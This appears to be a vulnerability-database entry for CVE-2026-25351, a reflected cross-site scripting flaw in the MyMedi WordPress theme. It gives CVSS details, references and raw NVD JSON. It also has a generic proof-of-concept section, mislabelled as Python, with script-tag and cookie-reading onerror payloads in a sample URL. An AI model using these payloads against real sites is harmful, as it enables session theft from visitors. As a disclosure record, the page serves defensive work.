CVE-2026-25351

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup MyMedi mymedi allows Reflected XSS.This issue affects MyMedi: from n/a through < 1.7.7.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

MyMedi < 1.7.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-25351: Reflected XSS in MyMedi Theme
  Description: Inject a script tag into a vulnerable parameter reflected on the page.
-->

<html>
<body>
  <h3>Proof of Concept: CVE-2026-25351</h3>
  <p>Vulnerable URL construction example:</p>
  <code>http://target-site.com/?vulnerable_param=<script>alert('XSS')</script></code>
  
  <p>If the application does not sanitize the input, the following alert will trigger:</p>
  
  <script>
    // Simulating the payload execution
    var payload = "<script>alert('CVE-2026-25351 Confirmed');<\/script>";
    console.log("Payload to be injected: " + payload);
    
    // In a real attack scenario, the malicious code would be sent in the URL parameters.
    // Example: <img src=x onerror=alert(document.cookie)>
  </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25351
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25351
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25351/
[4] VulDB https://vuldb.com/cve/CVE-2026-25351
[5] https://patchstack.com/database/Wordpress/Theme/mymedi/vulnerability/wordpress-mymedi-theme-1-7-7-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25351", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:45.900", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in skygroup MyMedi mymedi allows Reflected XSS.This issue affects MyMedi: from n/a through < 1.7.7."}, {"lang": "es", "value": "Neutralización Inadecuada de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en skygroup MyMedi mymedi permite XSS Reflejado. Este problema afecta a MyMedi: desde n/a hasta < 1.7.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/mymedi/vulnerability/wordpress-mymedi-theme-1-7-7-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}